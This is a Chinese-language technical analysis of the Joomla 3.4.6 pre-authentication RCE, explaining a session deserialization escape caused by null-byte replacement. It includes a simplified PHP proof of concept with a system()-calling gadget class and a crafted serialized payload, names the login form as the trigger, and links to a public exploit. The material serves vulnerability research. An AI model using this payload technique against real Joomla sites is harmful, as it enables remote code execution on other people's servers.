0x00 前言
今天早上看到了國內幾家安全媒體發了Joomla RCE漏洞的預警,漏洞利用的EXP也在Github公開了。我大致看了一眼描述,覺得是個挺有意思的漏洞,因此有了這篇分析的文章,其實這個漏洞的分析老外在博客中也寫過了,本質上這是一個Session反序列化導致的RCE漏洞,由於Joomla對於Session的特殊處理,導致漏洞觸發並不需要登陸。因此成了Pre-auth RCE.
0x01 漏洞環境搭建
代碼下載: https://github.com/joomla/joomla-cms/releases/tag/3.4.6
下載安裝就好,要求php 5.3.10 以上,其他跟着提示走就ok 。
0x02 漏洞原理分析
PHP對Session的存儲是默認放在文件中,當有活動會話產生使用到Session時候,將會在服務端php設置好的路徑寫入一個文件,文件的內容為默認序列化處理器序列化后的數據。在Joomla中則改變了PHP的默認處理規則,將序列化之后的數據存放在數據庫中,這步操作對應的處理函數為\libraries\joomla\session\storage\database.php 中的write:
/** * Write session data to the SessionHandler backend. * * @param string $id The session identifier. * @param string $data The session data. * * @return boolean True on success, false otherwise. * * @since 11.1 */ public function write($id, $data) { // Get the database connection object and verify its connected. $db = JFactory::getDbo(); $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); try { $query = $db->getQuery(true) ->update($db->quoteName('#__session')) ->set($db->quoteName('data') . ' = ' . $db->quote($data)) ->set($db->quoteName('time') . ' = ' . $db->quote((int) time())) ->where($db->quoteName('session_id') . ' = ' . $db->quote($id)); // Try to update the session data in the database table. $db->setQuery($query); if (!$db->execute()) { return false; } /* Since $db->execute did not throw an exception, so the query was successful. Either the data changed, or the data was identical. In either case we are done. */ return true; } catch (Exception $e) { return false; } }
這里我故意將注釋也貼出來,很明顯作者的注釋意思也寫得十分明確。然后取值的時候使用的操作對應的函數是read:
/** * Read the data for a particular session identifier from the SessionHandler backend. * * @param string $id The session identifier. * * @return string The session data. * * @since 11.1 */ public function read($id) { // Get the database connection object and verify its connected. $db = JFactory::getDbo(); try { // Get the session data from the database table. $query = $db->getQuery(true) ->select($db->quoteName('data')) ->from($db->quoteName('#__session')) ->where($db->quoteName('session_id') . ' = ' . $db->quote($id)); $db->setQuery($query); $result = (string) $db->loadResult(); $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result); return $result; } catch (Exception $e) { return false; } }
從代碼中可以看出,在存入數據庫之前,會將傳入數據中的chr(0) . '*' . chr(0) 替換為\0\0\0, 原因是mysql數據庫無法處理NULL字節,而protected 修飾符修飾的字段在序列化之后是以\x00\x2a\x00開頭的。然后從數據庫中取出來的時候,再將字符進行替換還原,防止無法正常反序列化。
但是這樣會導致什么樣的問題呢?我們首先需要了解一下PHP的序列化機制,PHP在序列化數據的過程中,如果序列化的字段是一個字符串,那么將會保留該字符串的長度,然后將長度寫入到序列化之后的數據,反序列化的時候按照長度進行讀取。那么結合上邊說到的問題,如果寫入數據庫的時候,是\0\0\0, 取出來的時候將會變成chr(0) . '*' . chr(0), 這樣的話,入庫的時候生成的序列化數據長度為6(\0\0\0), 取出來的時候將會成為3(N*N, N表示NULL),這樣在反序列化的時候,如果按照原先的長度讀取,就會導致后續的字符被吃掉!那這樣有什么問題呢?這里需要簡單說一下PHP反序列化的特點,PHP按照長度讀取指定字段的值,讀取完成以分號結束,接着開始下一個,如果我們能夠控制兩個字段的值,第一個用來吃掉第一個字段和第二個字段中間的部分,第二個字段用來構造序列化利用的payload,那么執行將會把第一個字段開頭的部分到第二個字段開始的為止當成第一個字段的內容,第二個字段內容逃逸出來被反序列化!!
說了這么多,對於理解這個漏洞已經足夠了,因此我寫了一個偽代碼來幫助理解:
<?php // pop 利用鏈 class Evil { public $cmd; public function __construct($cmd) { $this->cmd = $cmd; } public function __destruct() { // var_dump($this->cmd); system($this->cmd); } } // 模擬真實的登陸處理邏輯 class User { public $username; public $password; public function __construct($username, $password) { $this->username = $username; $this->password = $password; } // public function __destruct() { // var_dump($this->username); // var_dump($this->password); // } } function write($id, $data) { $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); $arr = array($id => $data); file_put_contents("db.txt", json_encode($arr)); } function read($id) { $data = file_get_contents("db.txt"); $result = json_decode($data, true); $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result[$id]); return $result; } // 發送的username 值 $username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0"; $password = 'AAAA";'; // padding // 構造一個fake password字段,將其內容設置為一個惡意構造的對象 $shellcode = 's:8:"password";O:4:"Evil":1:{s:3:"cmd";s:4:"calc";}'; $password = $password . $shellcode; write("123", serialize(new User($username, $password))); var_dump(unserialize(read("123"))); ?>
我將這里的write和read函數簡化,數據庫操作部分使用文件代替,重點我們解釋一下payload的構造部分:
這里使用9組\0\0\0作為第一個參數username的值,這樣的話,長度將會是54,反序列化處理時候將會變成27,吃掉后續的27個字符才是username的值。
O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:7:"payload";}
";s:8:"password";s:7:" 的長度為22,\0處理完成后本身會剩下27,這樣的話一共是49,還會吃掉5個字符,我們應該補5個。但是並不是這樣,因此這里我寫
的password的值是payload,長度是7,實際上我們的payload長度會超過10,因此生成的序列化數據就不是0-9一位數了,至少是兩位數,我這里的測試案例
是剛好兩位數。因此補4個字符就可以了。接着是后續的payload.關於payload的查找和利用可以參考老外的文章,這里不再贅述。
接着還有最后一個問題,反序列化觸發點在哪里?這里又牽扯到Joomla的一個特性,一個未登陸的用戶如果進行登陸,那么他的登陸信息也會被序列化之后存入到數據庫之中。
因此這里選擇登陸框進行攻擊!
最后貼上一張偽代碼測試成功的圖:

Joomla中詳細的處理流程和代碼分析我就不寫了,自己動手調試吧~~
0x03 參考資料
1. https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41
2. https://raw.githubusercontent.com/momika233/Joomla-3.4.6-RCE/master/Joomla-3.4.6-RCE.py